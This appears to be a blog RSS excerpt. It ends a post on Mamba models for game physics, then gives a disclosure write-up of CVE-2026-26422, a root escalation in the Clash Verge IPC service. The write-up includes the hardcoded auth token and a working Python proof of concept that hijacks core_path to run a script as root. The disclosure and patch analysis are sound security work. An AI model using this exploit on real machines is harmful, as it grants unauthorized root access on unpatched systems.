<li><img src="https://latex.codecogs.com/png.latex?%5CDelta(x_t)"> is a data-dependent step size that fundamentally alters the state transition matrix (<img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7B%5Cbar%7BA%7D%7D_t%20=%20f(%5Cmathbf%7BA%7D,%20%5CDelta(x_t))">) in real time.</li>
</ul>
<p>This mechanism grants the system dynamic context-awareness. If the player cuts the power, <img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7B%5Cbar%7BB%7D%7D_t"> can instantly drop to zero, blocking heat extraction. If the water drops below <img src="https://latex.codecogs.com/png.latex?0%5E%5Ccirc%5Ctext%7BC%7D">, the step size <img src="https://latex.codecogs.com/png.latex?%5CDelta(x_t)"> modifies <img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7B%5Cbar%7BA%7D%7D_t"> to reflect the phase change into ice. Mamba effectively acts as a continuous, differentiable <code>if-else</code> router, gracefully handling non-linear boundary conditions without resorting to crude game-engine branching.</p>
<p>But here lies the ultimate technical dilemma: if our matrices change at every tick based on player inputs, we can no longer precompute the causal convolution kernel <img src="https://latex.codecogs.com/png.latex?%5Cbar%7BK%7D_k%20=%20%5Cmathbf%7BC%7D%5Cmathbf%7B%5Cbar%7BA%7D%7D%5Ek%5Cmathbf%7B%5Cbar%7BB%7D%7D">. Does this mean we fall back to the sequential CPU loop, ruining our “Logical Parallelism”?</p>
<p>Not at all. To preserve the firepower of the dreadnought, Mamba swaps out the causal convolution for a hardware-aware algorithm known as the <strong>Parallel Associative Scan</strong>.</p>
<p>If we unroll the selective recurrence from Equation&nbsp;12 (assuming <img src="https://latex.codecogs.com/png.latex?h_0%20=%200">), the state at time <img src="https://latex.codecogs.com/png.latex?t"> expands to:</p>
<p><span id="eq-mamba-expand"><img src="https://latex.codecogs.com/png.latex?h_t%20=%20%5Csum_%7Bj=1%7D%5E%7Bt%7D%20%5Cleft(%20%5Cprod_%7Bi=j+1%7D%5E%7Bt%7D%20%5Cmathbf%7B%5Cbar%7BA%7D%7D_i%20%5Cright)%20%5Cmathbf%7B%5Cbar%7BB%7D%7D_j%20x_j%20%5Ctag%7B13%7D"></span></p>
<p>where:</p>
<ul>
<li>The cumulative product <img src="https://latex.codecogs.com/png.latex?%5Cprod_%7Bi=j+1%7D%5E%7Bt%7D%20%5Cmathbf%7B%5Cbar%7BA%7D%7D_i"> represents the dynamically changing physical laws accumulating over time. It directly replaces the static matrix power <img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7B%5Cbar%7BA%7D%7D%5E%7Bt-j%7D"> from our classic LTI model;</li>
<li>Because <img src="https://latex.codecogs.com/png.latex?%5Cmathbf%7B%5Cbar%7BA%7D%7D_i"> changes at every tick, this massive sequence cannot be pre-computed into a simple convolutional kernel <img src="https://latex.codecogs.com/png.latex?%5Cbar%7BK%7D">;</li>
<li>However, because matrix multiplication is <strong>associative</strong> (i.e., <img src="https://latex.codecogs.com/png.latex?(%5Cmathbf%7BA%7D_1%5Cmathbf%7BA%7D_2)%5Cmathbf%7BA%7D_3%20=%20%5Cmathbf%7BA%7D_1(%5Cmathbf%7BA%7D_2%5Cmathbf%7BA%7D_3)">), the GPU does not have to compute this chain strictly chronologically from past to future.</li>
</ul>
<p>Even though the state transitions are dynamic and seemingly sequential, Mamba treats them as these associative blocks (conceptually similar to a parallel prefix sum). By leveraging the GPU’s SRAM hierarchy, it computes these dynamic sequences in highly optimized parallel chunks. Thus, Mamba achieves the holy grail: it retains the blazing-fast, non-blocking parallel execution of our “DLSS” architecture, while fully embracing the unpredictable, non-linear chaos of a living game world.</p>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p>We have evolved from deconstructing an initially unscientific “Klei magic” to exploring the bleeding-edge possibilities of GPU-native parallel physics. Much like the invention of the microwave oven—where a melted candy bar in a radar lab sparked a revolution—our frustration with a hard-coded <img src="https://latex.codecogs.com/png.latex?14%5E%5Ccirc%5Ctext%7BC%7D"> temperature drop gave birth to a rather intriguing inquiry into State-Space Models and Mamba.</p>
<p>Ultimately, I hope this exploration is seen as more than just an over-engineered fix for a game mechanic. Perhaps it can serve as a small glimpse into the future of simulation. By bridging classical thermodynamics with modern AI architectures, I hope we are inching closer to the era of <strong>Physical AI</strong>—where chaos and logic might finally run in true parallel.</p>


</section>


<div id="quarto-appendix" class="default"><section id="footnotes" class="footnotes footnotes-end-of-document"><h2 class="anchored quarto-appendix-heading">Footnotes</h2>

<ol>
<li id="fn1"><p>FEA: Finite Element Analysis↩︎</p></li>
</ol>
</section></div> ]]></description>
  <category>Game Engine</category>
  <category>AI</category>
  <category>Physics</category>
  <category>Research</category>
  <guid>https://kaguranaku.me/posts/Physical-Not-Included/</guid>
  <pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate>
  <media:content url="https://KaguraNaku.me/posts/Physical-Not-Included/images/liquid.png" medium="image" type="image/png"/>
</item>
<item>
  <title>CVE-2026-26422: LPE Vulnerability in Clash Service IPC</title>
  <dc:creator>KaguraNaku </dc:creator>
  <link>https://kaguranaku.me/posts/CVE-2026-26422/</link>
  <description><![CDATA[ 





<style>
/* 覆盖所有行内代码的紫色，改为浅绿底色加深绿文字 */
:not(pre) > code {
  color: #198754 !important; /* 深绿色文字 */
  background-color: #e6f4ea !important; /* 浅绿色背景 */
  padding: 0.2em 0.4em !important;
  border-radius: 4px !important;
}
/* 如果用户开启了暗色模式，自动调整为暗绿底色加亮绿文字，保证对比度 */
@media (prefers-color-scheme: dark) {
  :not(pre) > code {
    color: #a8e6cf !important; /* 亮绿色文字 */
    background-color: rgba(25, 135, 84, 0.2) !important; /* 半透明暗绿色背景 */
  }
}
</style>
<section id="cve-2026-26422-how-a-vulnerable-ipc-service-leads-to-local-privilege-escalationlpe-in-clash" class="level1">
<h1>CVE-2026-26422: How a Vulnerable IPC Service Leads to Local Privilege Escalation(LPE) in Clash</h1>
<section id="timeline" class="level2">
<h2 class="anchored" data-anchor-id="timeline">Timeline</h2>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
<span class="screen-reader-only">Tip</span>🛡️ Vulnerability Lifecycle
</div>
</div>
<div class="callout-body-container callout-body">
<ul>
<li><strong>2025-12-25</strong>: <strong>Discovery &amp; PoC.</strong> Identified an exposed attack surface in the IPC component due to improper permission granting while auditing Clash kernel runtime logs; PoC developed on the same day. <span class="badge bg-danger"><strong>CVSS 9.4 - Critical</strong></span></li>
<li><strong>2025-12-25 — 12-28</strong>: <strong>Disclosure.</strong> Reported via GitHub Security Advisories (<strong>GHSA-7gwf-gf64-hgv8</strong>) and developed the mitigation within a private security fork.</li>
<li><strong>2025-12-31</strong>: <strong>Remediation.</strong> Vulnerability officially patched; co-authored the fix with core developers (Commit: <a href="https://github.com/clash-verge-rev/clash-verge-service-ipc/pull/22/changes/78c7a0094f11a7b4fecabd30dfd862427c514a3c"><code>78c7a00</code></a>).</li>
<li><strong>2026-01-08</strong>: <strong>Lifecycle End.</strong> The temporary security fork was deleted and the security PR was closed by the core developer following the successful upstream merge.</li>
<li><strong>2026-02-27</strong>: <strong>CVE Assignment.</strong> <strong>CVE-2026-26422</strong> reserved by MITRE.</li>
<li><strong>2026-03-10</strong>: <strong>Public Disclosure.</strong> Full technical details released. The decision to disclose ahead of the standard 90-day window was made as the critical fix has been fully integrated into upstream releases for over 70 days, effectively neutralizing the active threat.</li>
</ul>
</div>
</div>
</section>
<section id="executive-summary" class="level2">
<h2 class="anchored" data-anchor-id="executive-summary">Executive Summary</h2>
<p>This report analyzes <strong>CVE-2026-26422</strong>, a critical Local Privilege Escalation (LPE) vulnerability found in the Clash IPC service. By leveraging a combination of insecure file permissions (<strong>CWE-732</strong>) and hardcoded authentication credentials (<strong>CWE-798</strong>), a local unprivileged attacker can hijack the service’s high-privilege execution flow to gain full <strong>root</strong> access.</p>
</section>
<section id="security-advisory" class="level2">
<h2 class="anchored" data-anchor-id="security-advisory">Security Advisory</h2>
<section id="affected-products" class="level3">
<h3 class="anchored" data-anchor-id="affected-products">Affected products</h3>
<ul>
<li><strong>Ecosystem</strong>: Others(Clash Verge Rev &amp;&amp; downstream which includes the vulnerable Clash-verge-service-ipc component)</li>
<li><strong>Package name</strong>: clash-verge-service-ipc; clash-verge-rev</li>
<li><strong>Affected versions</strong>: clash-verge-service-ipc &lt; 2.0.26; clash-verge-rev &lt; v2.4.5</li>
<li><strong>Patched versions</strong>: clash-verge-service-ipc &gt;= 2.0.26; clash-verge-rev &gt;= v2.4.5</li>
</ul>
</section>
<section id="severity" class="level3">
<h3 class="anchored" data-anchor-id="severity">Severity</h3>
<section id="score-9.4-critical" class="level4">
<h4 class="anchored" data-anchor-id="score-9.4-critical">Score: <span class="badge bg-danger">9.4 (Critical)</span></h4>
<ul>
<li><strong>Vector String(Assess severity using CVSS v3)</strong>: <code>CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</code></li>
</ul>
</section>
</section>
<section id="weaknesses" class="level3">
<h3 class="anchored" data-anchor-id="weaknesses">Weaknesses</h3>
<section id="common-weakness-enumerator-cwe" class="level4">
<h4 class="anchored" data-anchor-id="common-weakness-enumerator-cwe">Common weakness enumerator (CWE)</h4>
<ul>
<li><strong>CWE-732</strong>: Incorrect Permission Assignment for Critical Resource</li>
<li><strong>CWE-798</strong>: Use of Hard-coded Credentials</li>
</ul>
</section>
</section>
</section>
<section id="background-system-architecture" class="level2">
<h2 class="anchored" data-anchor-id="background-system-architecture">Background &amp; System Architecture</h2>
<section id="privilege-segregation-ipc-service-and-the-mihomo-kernel" class="level3">
<h3 class="anchored" data-anchor-id="privilege-segregation-ipc-service-and-the-mihomo-kernel">🏗️ Privilege Segregation: IPC Service and the Mihomo Kernel</h3>
<p>The Mihomo kernel serves as the foundational network engine within the Clash ecosystem. In its standalone design, the component is often initialized with <strong><code>0x666</code> permissions</strong>—a decision likely made for development convenience rather than security hardening. In isolation, this setting is “visually alarming” but presents a limited attack surface due to the absence of execution (<code>x</code>) rights.</p>
<p>However, a critical security boundary is breached during <strong>third-party integration</strong>. To bridge the gap between unprivileged frontends and the kernel, developers introduce a privileged <strong>IPC Service</strong>. While this service is necessary for features like <strong>TUN service installation</strong> and interface management, it inherently grants execution privileges to the underlying components.</p>
<p>This functional necessity becomes the “final straw”: the previously unexploitable read/write access to the IPC channel now grants an attacker the leverage to trigger high-privilege execution sequences. By manipulating the IPC interface, an unprivileged local user can orchestrate the installation of unauthorized services, effectively converting a “convenient” permission setting into a definitive <strong>Local Privilege Escalation (LPE)</strong> vector.</p>
</section>
</section>
<section id="details" class="level2">
<h2 class="anchored" data-anchor-id="details">Details</h2>
<section id="discovery-from-gui-crashes-to-a-security-audit" class="level3">
<h3 class="anchored" data-anchor-id="discovery-from-gui-crashes-to-a-security-audit">🔎 Discovery: From GUI Crashes to a Security Audit</h3>
<p>The discovery of this vulnerability was serendipitous. Following a rolling update via <code>yay</code>, the Clash Verge GUI began crashing due to a <code>DMA-BUF</code> rendering conflict between WebKit and the NVIDIA driver in <strong>Wayland</strong>. I shared the mitigation (<code>WEBKIT_DISABLE_DMABUF_RENDERER=1</code>) with the community in <a href="https://github.com/clash-verge-rev/clash-verge-rev/issues/5921"><strong>clash-verge-rev/issue #5921</strong></a>.</p>
<p>While auditing the <strong>Clash kernel runtime logs</strong> to verify the fix, I noticed an entry showing the system explicitly granting <strong><code>0x777</code> (world-accessible)</strong> permissions to the IPC component.</p>
<div class="code-with-filename">
<div class="code-with-filename-file">
<pre><strong>journalctl -u clash-verge-service</strong></pre>
</div>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" data-filename="journalctl -u clash-verge-service" data-highlight="2" style="background: #f1f3f5;"><pre class="sourceCode numberSource log number-lines code-with-copy"><code class="sourceCode"><span id="cb1-1">Dec 22 22:06:08 Arch clash-verge-service[926]: 2025-12-22T14:06:08.939124Z  INFO clash_verge_service_ipc::core::manager: Setting permissions for "/tmp/verge/verge-mihomo.sock"</span>
<span id="cb1-2">Dec 22 22:06:08 Arch clash-verge-service[926]: 2025-12-22T14:06:08.939249Z  INFO clash_verge_service_ipc::core::manager: Permissions set to 777 for "/tmp/verge/verge-mihomo.sock"</span></code></pre></div></div>
</div>
<blockquote class="blockquote">
<p><em>While the specific log entry above was captured during a recent service restart on <strong>December 22nd</strong>, the underlying vulnerable logic—hardcoded permissions and static tokens—had been present in the codebase for a significant period. The graphics-related crash on <strong>December 25th</strong> simply provided the catalyst for a retroactive audit that finally brought this long-standing “silent” threat to light.</em></p>
</blockquote>
<p>Given that the service requires elevated privileges to manage <strong>TUN interfaces</strong>, a world-writable IPC interface presented a clear <strong>Local Privilege Escalation (LPE)</strong> risk. This observation prompted me to shift from troubleshooting a rendering glitch to a focused security audit of the IPC communication logic.</p>
</section>
<section id="anatomy-of-the-vulnerability-the-exploit-chain" class="level3">
<h3 class="anchored" data-anchor-id="anatomy-of-the-vulnerability-the-exploit-chain">⚙️ Anatomy of the Vulnerability: The Exploit Chain</h3>
<p>To understand how catastrophic this misconfiguration is, we need to break down the IPC service’s logic. The Local Privilege Escalation (LPE) relies on a perfect storm of critical security flaws, mapping directly to two major Common Weakness Enumerations (CWEs):</p>
<p><strong>1. The <code>0o777</code> Gateway (CWE-732: Incorrect Permission Assignment)</strong> As discovered in the system logs, the IPC socket is explicitly initialized with world-writable (<code>0o777</code>) permissions. This neutralizes the OS-level access control, allowing any local user to interact with the high-privilege service. <strong>This is the critical pivot point of the vulnerability.</strong></p>
<p><strong>2. The “Shakespearean” Authentication Bypass (CWE-798: Hard-coded Credentials)</strong> Even with an open socket, IPC services usually require authentication. However, inspecting <code>src/lib.rs</code> and <code>src/core/auth.rs</code> reveals a structural flaw: the service relies on a static, publicly visible string for authorization.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb2-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// src/lib.rs</span></span>
<span id="cb2-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">pub</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> IPC_AUTH_EXPECT<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">str</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">r#"Like as the waves make towards the pebbl'd shore, So do our minutes hasten to their end;"#</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb2-3"></span>
<span id="cb2-4"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// src/core/auth.rs</span></span>
<span id="cb2-5"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">match</span> headers<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>get(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"X-IPC-Magic"</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb2-6">    <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">Some</span>(token) <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> token <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> IPC_AUTH_EXPECT <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=&gt;</span> <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">Ok</span>(<span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">AuthStatus::</span>Authorized)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-7">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span>
<span id="cb2-8"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p><em>While using a Shakespearean sonnet as a “Magic Token” is poetic, it provides zero security against local inspection once the source code is public. It is worth noting that while CWE-798 is a glaring design flaw, <strong>fixing CWE-732 (the socket permissions) was prioritized</strong>. Once the <code>umask</code> natively restricts socket access to authorized users, the hardcoded token becomes unexploitable, effectively severing the LPE chain.</em></p>
<p><strong>3. Arbitrary Execution via Path Hijacking</strong> The final piece of the puzzle lies in the <code>StartClash</code> command handler. It accepts a JSON configuration where the <code>core_path</code> specifies the executable to run. Because the IPC service inherently possesses <code>CAP_NET_ADMIN</code> (or full <code>root</code> privileges) to manage TUN interfaces, it blindly executes whatever binary is provided in <code>core_path</code> with elevated privileges.</p>
</section>
<section id="visualization-of-the-attack-path" class="level3">
<h3 class="anchored" data-anchor-id="visualization-of-the-attack-path">🗺️ Visualization of the Attack Path</h3>
<p>The diagram below illustrates how the privilege escalation chain is constructed, transforming a simple rendering troubleshooting session into a full system compromise.</p>
<div style="background-color: rgba(128, 128, 128, 0.05); padding: 1.5rem; border-radius: 0.5rem; border: 1px solid rgba(128, 128, 128, 0.2); margin-top: 1.5rem; margin-bottom: 1.5rem;">
<div class="cell" data-layout-align="default">
<div class="cell-output-display">
<div>
<p></p><figure class="figure"><p></p>
<div>
<pre class="mermaid mermaid-js">graph TD
    %% Entities
    Attacker["👤 Unprivileged User (even 'nobody')"]
    Service["🛡️ Clash Service (Running as Root/CAP_NET_ADMIN)"]
    Socket["🔌 IPC Socket (/tmp/.../verge-mihomo.sock)"]
    Payload["📜 Malicious Script (/tmp/pwned.sh)"]
    Kernel["⚙️ System Kernel"]

    %% Attack Steps
    Attacker --&gt;|Step 1: Connect via 0o777 Permissions| Socket
    Attacker --&gt;|Step 2: Inject JSON with Hardcoded Token| Socket
    Socket --&gt;|Step 3: Forward Request| Service
    Service --&gt;|Step 4: Execute core_path Hijacked| Payload
    Payload --&gt;|Step 5: Run with Elevated Privileges| Kernel
    Kernel --&gt;|Step 6: SUCCESS: uid=0 root| Attacker

    %% Styling
    style Attacker fill:#f96,stroke:#333,stroke-width:2px
    style Service fill:#69f,stroke:#333,stroke-width:2px
    style Socket fill:#fff,stroke:#f66,stroke-width:3px,stroke-dasharray: 5 5
    style Payload fill:#ff9,stroke:#333,stroke-width:1px
</pre>
</div>
<p></p></figure><p></p>
</div>
</div>
</div>
</div>
</section>
<section id="proof-of-concept-a-local-permission-disaster" class="level3">
<h3 class="anchored" data-anchor-id="proof-of-concept-a-local-permission-disaster">💥 Proof of Concept: A Local Permission Disaster</h3>
<p>In a secure Unix-like architecture, the <strong>identity of the caller</strong> is the last line of defense. When a critical IPC socket is initialized with <strong><code>0o777</code></strong> permissions, this isolation layer suffers a catastrophic collapse. Any local process, regardless of its privilege level (<strong>even the <code>nobody</code> user</strong>), can bypass the intended security model.</p>
<p>In this scenario, we aren’t just looking at a misconfiguration; we are witnessing a complete <strong>Privilege Proxy</strong>. Because the service inherently possesses <strong><code>CAP_NET_ADMIN</code></strong> (or full <code>root</code> privileges) to manage <strong>TUN interfaces</strong>, the world-writable socket allows any unprivileged user to “piggyback” on these elevated capabilities. An attacker doesn’t need to break the kernel—they simply leverage the service’s existing authority to perform malicious actions as the superuser.</p>
<p>To demonstrate this permission disaster, I crafted a minimalist exploit script. It bypasses all privilege checks by injecting a malicious payload path directly into the IPC stream via the world-writable socket.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb3-1"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> socket</span>
<span id="cb3-2"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> json</span>
<span id="cb3-3"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> os</span>
<span id="cb3-4"></span>
<span id="cb3-5">SOCK_PATH <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/tmp/verge/clash-verge-service.sock"</span></span>
<span id="cb3-6"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># The hardcoded static token found in source code (CWE-798)</span></span>
<span id="cb3-7">TOKEN <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Like as the waves make towards the pebbl'd shore, So do our minutes hasten to their end;"</span></span>
<span id="cb3-8">PAYLOAD_SCRIPT <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/tmp/pwned.sh"</span></span>
<span id="cb3-9"></span>
<span id="cb3-10"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Step 1: Prepare the malicious payload to be executed as Root</span></span>
<span id="cb3-11"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">with</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">open</span>(PAYLOAD_SCRIPT, <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"w"</span>) <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> f:</span>
<span id="cb3-12">    f.write(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"#!/bin/sh</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">id &gt; /tmp/pwned_result.txt</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span>)</span>
<span id="cb3-13">os.chmod(PAYLOAD_SCRIPT, <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0o755</span>)</span>
<span id="cb3-14"></span>
<span id="cb3-15"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Step 2: Hijack the core_path in the configuration</span></span>
<span id="cb3-16">payload <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> {</span>
<span id="cb3-17">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"core_config"</span>: {</span>
<span id="cb3-18">        <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"core_path"</span>: PAYLOAD_SCRIPT,</span>
<span id="cb3-19">        <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"core_ipc_path"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/tmp/exploit.sock"</span>,</span>
<span id="cb3-20">        <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"config_path"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/tmp/config.yaml"</span>,</span>
<span id="cb3-21">        <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"config_dir"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/tmp/"</span></span>
<span id="cb3-22">    }</span>
<span id="cb3-23">}</span>
<span id="cb3-24">body <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> json.dumps(payload)</span>
<span id="cb3-25"></span>
<span id="cb3-26"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Step 3: Trigger the exploit via the world-writable socket</span></span>
<span id="cb3-27">request <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> (</span>
<span id="cb3-28">    <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f"POST /clash/start HTTP/1.1</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\r\n</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span></span>
<span id="cb3-29">    <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f"X-IPC-Magic: </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>TOKEN<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\r\n</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span></span>
<span id="cb3-30">    <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f"Content-Length: </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(body)<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\r\n\r\n</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>body<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span></span>
<span id="cb3-31">)</span>
<span id="cb3-32"></span>
<span id="cb3-33"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">with</span> socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> s:</span>
<span id="cb3-34">    s.<span class="ex" style="color: null;
background-color: null;
font-style: inherit;">connect</span>(SOCK_PATH)</span>
<span id="cb3-35">    s.sendall(request.encode())</span>
<span id="cb3-36">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">print</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"[*] Instruction injected. Check /tmp/pwned_result.txt for Root status."</span>)</span></code></pre></div></div>
<blockquote class="blockquote">
<p><strong>Note on Exploitability:</strong> For the sake of responsible disclosure, the script above is a minimalist skeleton. It demonstrates the command injection logic via <code>/tmp/pwned.sh</code> without including any destructive binary payloads. The core objective is to prove that <strong>ANY local user</strong> can achieve Root access instantly by exploiting this total collapse of local identity isolation.</p>
</blockquote>
</section>
<section id="the-remediation-collaborating-on-a-robust-unix-standard" class="level3">
<h3 class="anchored" data-anchor-id="the-remediation-collaborating-on-a-robust-unix-standard">🛠️ The Remediation: Collaborating on a Robust Unix Standard</h3>
<p>The remediation process was a collaborative effort. While I provided the vulnerability analysis and suggested leveraging the POSIX permission model, the <strong>core developers</strong> performed the heavy lifting of integrating these changes while ensuring cross-platform stability.</p>
<p>Initially, the <strong>core developers</strong> raised valid engineering concerns: aggressively tightening socket permissions might disrupt existing frontend-backend communications, particularly given MacOS’s unique handling of Unix domain sockets. To assist in resolving this, I provided insights into the <strong>POSIX <code>umask</code> model</strong> and referenced Apple’s secure development guidelines to ensure the fix wouldn’t introduce regressions.</p>
<p>The resulting fix, implemented by the <strong>core developers</strong> in commit <a href="https://github.com/clash-verge-rev/clash-verge-service-ipc/pull/22/changes/78c7a0094f11a7b4fecabd30dfd862427c514a3c"><code>78c7a00</code></a>, elegantly resolves the vulnerability on two fronts:</p>
<ol type="1">
<li><strong>Eradicating Race Conditions</strong>: It removes the insecure 125ms asynchronous <code>sleep</code> and the subsequent manual <code>chmod</code>.</li>
<li><strong>Native Defense</strong>: It introduces a preemptive <code>umask(0o002)</code> hook before the child process is spawned. By shifting the responsibility to the kernel’s native permission mask, it provided a robust, cross-platform defense that strips unauthorized write access from the ground up.</li>
</ol>
<div class="code-with-filename">
<div class="code-with-filename-file">
<pre><strong>src/core/manager.rs (Commit Snippet)</strong></pre>
</div>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" data-filename="src/core/manager.rs (Commit Snippet)" style="background: #f1f3f5;"><pre class="sourceCode diff code-with-copy"><code class="sourceCode diff"><span id="cb4-1"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">@@ -77,8 +77,6 @@</span></span>
<span id="cb4-2">         let mut child_lock = self.running_child.lock().await;</span>
<span id="cb4-3">         *child_lock = Some(child_guard);</span>
<span id="cb4-4"> </span>
<span id="cb4-5"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-        self.after_start().await;</span></span>
<span id="cb4-6"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-</span></span>
<span id="cb4-7">         Ok(())</span>
<span id="cb4-8">     }</span>
<span id="cb4-9"> </span>
<span id="cb4-10"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">@@ -94,27 +92,6 @@</span></span>
<span id="cb4-11">         Ok(())</span>
<span id="cb4-12">     }</span>
<span id="cb4-13"> </span>
<span id="cb4-14"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-    pub async fn after_start(&amp;self) {</span></span>
<span id="cb4-15"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-        #[cfg(unix)]</span></span>
<span id="cb4-16"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-        {</span></span>
<span id="cb4-17"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-            use std::fs::Permissions;</span></span>
<span id="cb4-18"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-            use std::os::unix::fs::PermissionsExt;</span></span>
<span id="cb4-19"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-            use std::path::Path;</span></span>
<span id="cb4-20"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-            use tokio::fs;</span></span>
<span id="cb4-21"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-</span></span>
<span id="cb4-22"><span class="st" style="color: #20794D;
